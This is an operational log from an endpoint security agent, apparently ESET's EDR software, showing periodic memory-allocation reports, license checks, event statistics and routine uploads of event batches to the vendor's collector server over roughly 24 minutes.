2026-03-04 08:18:28 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 08:18:28 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 08:18:28 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 08:18:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1514 KB; ModuleMetadata: 592 KB; TcpIpConnectionsManager: 575 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 500 KB; rules::ProcessConditionsCache: 422 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; BaseEvent: 90 KB; cloudutils::CloudData: 40 KB; BatchSerializer::EventsQueueTag: 23 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66026 KB;
2026-03-04 08:19:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1875 KB; ModuleMetadata: 592 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 549 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 502 KB; rules::ProcessConditionsCache: 398 KB; BaseEvent: 273 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; BatchSerializer::EventsQueueTag: 71 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66569 KB;
2026-03-04 08:20:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2270 KB; ModuleMetadata: 592 KB; TcpIpConnectionsManager: 573 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; BaseEvent: 463 KB; rules::ProcessConditionsCache: 420 KB; BatchSerializer::EventsQueueTag: 121 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67256 KB;
2026-03-04 08:21:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2634 KB; BaseEvent: 645 KB; ModuleMetadata: 592 KB; TcpIpConnectionsManager: 565 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 504 KB; rules::ProcessConditionsCache: 403 KB; BatchSerializer::EventsQueueTag: 170 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67823 KB;
2026-03-04 08:22:26 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 08:18:25, To:, 2026-03-04 08:22:26, Duration (s):, 241, Events Per Second:, 16.782, Events:, 4055, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3361, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 693, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 452226
2026-03-04 08:22:28 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s409ms.
2026-03-04 08:22:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1501 KB; ModuleMetadata: 592 KB; TcpIpConnectionsManager: 573 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 505 KB; rules::ProcessConditionsCache: 381 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; BaseEvent: 83 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65968 KB;
2026-03-04 08:23:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:23:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 08:23:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:23:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:23:28 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 08:23:28 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 08:23:28 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 08:23:28 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 08:23:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1897 KB; ModuleMetadata: 592 KB; TcpIpConnectionsManager: 578 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; rules::ProcessConditionsCache: 390 KB; BaseEvent: 286 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; BatchSerializer::EventsQueueTag: 75 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66639 KB;
2026-03-04 08:24:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2264 KB; ModuleMetadata: 592 KB; TcpIpConnectionsManager: 565 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; BaseEvent: 473 KB; rules::ProcessConditionsCache: 371 KB; BatchSerializer::EventsQueueTag: 123 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67210 KB;
2026-03-04 08:25:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2630 KB; BaseEvent: 652 KB; ModuleMetadata: 592 KB; TcpIpConnectionsManager: 567 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; rules::ProcessConditionsCache: 355 KB; BatchSerializer::EventsQueueTag: 171 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67792 KB;
2026-03-04 08:26:22 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 08:22:24, To:, 2026-03-04 08:26:22, Duration (s):, 238, Events Per Second:, 16.863, Events:, 4026, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3341, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 684, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 449822
2026-03-04 08:26:24 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s423ms.
2026-03-04 08:26:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1518 KB; ModuleMetadata: 592 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 549 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; rules::ProcessConditionsCache: 365 KB; ModuleInfoCache: 111 KB; BaseEvent: 97 KB; CacheEntry: 95 KB; cloudutils::CloudData: 40 KB; BatchSerializer::EventsQueueTag: 25 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65970 KB;
2026-03-04 08:27:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1884 KB; ModuleMetadata: 592 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 539 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 500 KB; rules::ProcessConditionsCache: 360 KB; BaseEvent: 279 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; BatchSerializer::EventsQueueTag: 73 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66539 KB;
2026-03-04 08:28:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:28:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 08:28:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:28:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:28:28 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 08:28:28 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 08:28:28 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 08:28:28 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 08:28:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2256 KB; ModuleMetadata: 592 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 502 KB; BaseEvent: 463 KB; rules::ProcessConditionsCache: 347 KB; BatchSerializer::EventsQueueTag: 120 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67135 KB;
2026-03-04 08:29:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2627 KB; BaseEvent: 647 KB; ModuleMetadata: 592 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 547 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; rules::ProcessConditionsCache: 353 KB; BatchSerializer::EventsQueueTag: 169 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67750 KB;
2026-03-04 08:30:26 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 08:26:22, To:, 2026-03-04 08:30:26, Duration (s):, 244, Events Per Second:, 16.687, Events:, 4081, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3372, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 708, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 454840
2026-03-04 08:30:28 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s394ms.
2026-03-04 08:30:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1518 KB; ModuleMetadata: 592 KB; TcpIpConnectionsManager: 567 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; rules::ProcessConditionsCache: 381 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; BaseEvent: 91 KB; cloudutils::CloudData: 40 KB; BatchSerializer::EventsQueueTag: 24 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65992 KB;
2026-03-04 08:31:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1881 KB; ModuleMetadata: 592 KB; TcpIpConnectionsManager: 565 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; rules::ProcessConditionsCache: 347 KB; BaseEvent: 275 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; BatchSerializer::EventsQueueTag: 72 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66552 KB;
2026-03-04 08:32:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2251 KB; ModuleMetadata: 592 KB; TcpIpConnectionsManager: 555 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; BaseEvent: 458 KB; rules::ProcessConditionsCache: 339 KB; BatchSerializer::EventsQueueTag: 120 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67137 KB;
2026-03-04 08:33:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:33:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 08:33:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:33:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:33:29 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 08:33:29 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 08:33:29 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 08:33:29 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 08:33:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2634 KB; BaseEvent: 649 KB; ModuleMetadata: 592 KB; TcpIpConnectionsManager: 565 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; rules::ProcessConditionsCache: 353 KB; BatchSerializer::EventsQueueTag: 170 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67788 KB;
2026-03-04 08:34:23 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 08:30:26, To:, 2026-03-04 08:34:23, Duration (s):, 237, Events Per Second:, 17.108, Events:, 4060, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3376, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 683, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 453068
2026-03-04 08:34:25 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s594ms.
2026-03-04 08:34:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1548 KB; TcpIpConnectionsManager: 611 KB; ModuleMetadata: 592 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; rules::ProcessConditionsCache: 398 KB; ModuleInfoCache: 111 KB; BaseEvent: 101 KB; CacheEntry: 95 KB; cloudutils::CloudData: 40 KB; BatchSerializer::EventsQueueTag: 27 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 17 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66109 KB;
2026-03-04 08:35:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1935 KB; TcpIpConnectionsManager: 642 KB; ModuleMetadata: 592 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; BaseEvent: 294 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; BatchSerializer::EventsQueueTag: 79 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 14 KB; rules::ProcessConditionsCache: 14 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66387 KB;
2026-03-04 08:36:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2319 KB; TcpIpConnectionsManager: 649 KB; ModuleMetadata: 592 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 572 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 486 KB; BatchSerializer::EventsQueueTag: 130 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; rules::ProcessConditionsCache: 69 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67132 KB;
2026-03-04 08:37:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2727 KB; BaseEvent: 680 KB; TcpIpConnectionsManager: 658 KB; ModuleMetadata: 592 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 501 KB; BatchSerializer::EventsQueueTag: 181 KB; rules::ProcessConditionsCache: 180 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 19 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 67842 KB;
2026-03-04 08:38:10 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 08:34:22, To:, 2026-03-04 08:38:10, Duration (s):, 228, Events Per Second:, 17.739, Events:, 4048, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3391, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 656, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 455442
2026-03-04 08:38:12 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s442ms.
2026-03-04 08:38:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:38:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 08:38:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:38:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:38:29 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 08:38:29 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 08:38:29 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 08:38:29 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 08:38:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1674 KB; TcpIpConnectionsManager: 621 KB; ModuleMetadata: 592 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; BaseEvent: 139 KB; rules::ProcessConditionsCache: 129 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; cloudutils::CloudData: 39 KB; BatchSerializer::EventsQueueTag: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66003 KB;
2026-03-04 08:39:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2081 KB; ModuleMetadata: 592 KB; TcpIpConnectionsManager: 590 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; BaseEvent: 333 KB; rules::ProcessConditionsCache: 120 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; BatchSerializer::EventsQueueTag: 89 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66625 KB;
2026-03-04 08:40:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2448 KB; ModuleMetadata: 592 KB; TcpIpConnectionsManager: 563 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 517 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 504 KB; BatchSerializer::EventsQueueTag: 137 KB; ModuleInfoCache: 111 KB; rules::ProcessConditionsCache: 110 KB; CacheEntry: 95 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 19 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67190 KB;
2026-03-04 08:41:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2790 KB; BaseEvent: 689 KB; ModuleMetadata: 592 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 586 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 516 KB; BatchSerializer::EventsQueueTag: 182 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; rules::ProcessConditionsCache: 86 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 19 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67764 KB;
2026-03-04 08:42:10 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 08:38:09, To:, 2026-03-04 08:42:10, Duration (s):, 241, Events Per Second:, 16.702, Events:, 4029, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3354, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 674, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 455811
2026-03-04 08:42:12 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s398ms.
